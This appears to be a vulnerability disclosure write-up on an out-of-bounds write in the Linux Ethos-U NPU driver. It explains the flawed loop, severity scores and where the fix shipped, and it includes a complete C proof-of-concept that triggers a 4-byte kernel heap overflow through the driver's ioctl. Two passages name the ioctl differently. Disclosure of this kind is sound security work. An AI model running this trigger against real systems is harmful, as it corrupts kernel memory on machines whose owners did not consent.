# CVE-2026-53173: four bytes past the DMA buffer in the Ethos-U command stream parser

**Patch:** [c0837b9cf6eabbad8b8cbddaff1a46a6d0a2e29d](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c0837b9cf6eabbad8b8cbddaff1a46a6d0a2e29d) (mainline, landed in 7.1)
**Subsystem:** accel/ethosu, Arm Ethos-U NPU driver
**Affected file:** drivers/accel/ethosu/ethosu_gem.c
**CVE record:** [CVE-2026-53173](https://www.cve.org/CVERecord?id=CVE-2026-53173)
**Introduced in:** 6.19, commit 5a5e9c0228e613f0ef2a58b9782d7c0ea8f1e58b

## The bug in one sentence

The command stream copy loop incremented its index a second time for 64-bit commands and wrote the second word without re-checking the bound, so the last iteration could write four bytes past the DMA allocation.

## The loop that trusted itself

The parser walks a userspace submitted command stream, copying validated words into the buffer object:

```c
for (i = 0; i < size / 4; i++) {
        bocmds[i] = cmds[0];
        if (cmd & 0x4000) {
                i++;
                bocmds[i] = cmds[1];   /* unchecked */
        }
}
```

bocmds is backed by a drm_gem_dma_create() allocation of exactly size bytes, so valid indices run from 0 to size/4 minus one. When i enters its final iteration at size/4 minus 1 and bit 14 of the command word marks it as 64-bit, the first write lands in bounds, i rolls over to size/4, and the second write puts four bytes past the end of the allocation.

Userspace controls both the buffer contents and the size argument through the ioctl, which makes this a userspace-triggerable heap out-of-bounds write. On a system where the /dev/accel NPU node is reachable by unprivileged users (embedded Linux boards exposing the NPU to apps, which is the whole point of the driver), that is a corruption primitive with attacker chosen four byte values at a partially controlled offset.

The fix checks the incremented index against the bound before the second write and returns EINVAL if the buffer cannot contain the extended command. Full patch: [c0837b9cf6ea](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c0837b9cf6eabbad8b8cbddaff1a46a6d0a2e29d)

## How to trigger it

Command stream words are 32 bit: opcode in the low 16 bits, param in the high 16, and bit 14 (0x4000) marks a two word command. The bug is that last word with the 64 bit flag set. The whole reproducer, word layout verified against ethosu_gem.c:

```c
#define WORD(op, p) (((unsigned int)(p) << 16) | (op))

unsigned int stream[N];
for (i = 0; i < N - 1; i++)
    stream[i] = WORD(0x01, 0);          /* filler single word commands */
stream[N - 1] = WORD(0x01, 0) | 0x4000; /* 64-bit flag on the final word */

/* hand this to DRM_IOCTL_ETHOSU_BO_CREATE as the command stream contents */
```

On the final iteration i enters at N minus 1, bocmds[N - 1] is written in bounds, i increments to N, and bocmds[N] is written four bytes past the DMA allocation backing the buffer object. Under KASAN that is a slab-out-of-bounds write in ethosu_gem_cmdstream_copy_and_validate(); without it, you have corrupted whatever follows the allocation. Post-fix the loop returns EINVAL at the incremented bound before the second store. Any user with the /dev/accel NPU node open can do this; no special privileges beyond device access.

## Score and classification

* Kernel CNA (mirrored by NVD as Secondary): 7.8 HIGH, vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
* CWE-787, out-of-bounds write, agreed by NVD and Red Hat
* SUSE re-scores it 5.5 Moderate, availability-only view, and marks all SLE and openSUSE products Not affected
* Ubuntu: priority High, CVSS v4.0 8.5

This is one of two genuine write primitives in my CVE set (the other being the rtl8723bs stack smash), and the 7.8 local-privileges vector is the honest classification: a heap write with attacker influence, from an ioctl a normal application on NPU hardware could plausibly reach.

## Exploit code

Complete reproducer. The command stream is submitted through the driver's real entry point, DRM_IOCTL_ETHOSU_CMDSTREAM_BO_CREATE, and the last word carries the 64 bit flag:

```c
/* ethosu_oob_write.c: CVE-2026-53173
 * gcc -o poc poc.c && ./poc /dev/accel/accel0
 * vulnerable kernel: 4-byte heap OOB write in
 * ethosu_gem_cmdstream_copy_and_validate(); fixed: ioctl fails, EINVAL
 */
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <drm/ethosu_accel.h>

#define WORD(op, p) (((uint32_t)(p) << 16) | (uint32_t)(op))

int main(int argc, char **argv)
{
	uint32_t stream[16];
	struct drm_ethosu_cmdstream_bo_create args = {0};
	int fd, i;

	for (i = 0; i < 15; i++)
		stream[i] = WORD(0x01, 0);            /* single word fillers */
	stream[15] = WORD(0x01, 0) | 0x4000;      /* 64-bit flag, last word */

	fd = open(argv[1] ? argv[1] : "/dev/accel/accel0", O_RDWR);
	if (fd < 0) { perror("open"); return 1; }

	args.size = sizeof(stream);
	args.data = (uint64_t)(uintptr_t)stream;

	printf("ret %d errno %d (%s)\n",
	       ioctl(fd, DRM_IOCTL_ETHOSU_CMDSTREAM_BO_CREATE, &args),
	       errno, strerror(errno));
	return 0;
}
```

Pre-fix, the last loop iteration writes bocmds[16] into a 16 word DMA allocation, and KASAN prints slab-out-of-bounds in ethosu_gem_cmdstream_copy_and_validate with the write size 4. Post-fix the same ioctl returns EINVAL at the incremented bound. Public status: no KEV, no public PoC before this note. The bug lived one development cycle (introduced 6.19, fixed for 7.0.13 and 7.1), so the exposed population was cutting-edge kernels on new NPU hardware. Fixes shipped in Ubuntu USN-8726-1 through USN-8800-1 for 26.04 and the 24.04 HWE backport; Debian stable never carried the driver, unstable was fixed by 7.0.13-1.

## Where the fix shipped

* 7.0.13: [db6cb3e35ceb](https://git.kernel.org/stable/c/db6cb3e35cebf487f9a78ebd4cfa4b83708ff40d)
* 7.1: [c0837b9cf6ea](https://git.kernel.org/stable/c/c0837b9cf6eabbad8b8cbddaff1a46a6d0a2e29d)

## References

1. [Upstream commit c0837b9cf6ea](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c0837b9cf6eabbad8b8cbddaff1a46a6d0a2e29d)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026062553-CVE-2026-53173-b599@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-53173)
4. [SUSE page](https://www.suse.com/security/cve/CVE-2026-53173.html)
5. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-53173)
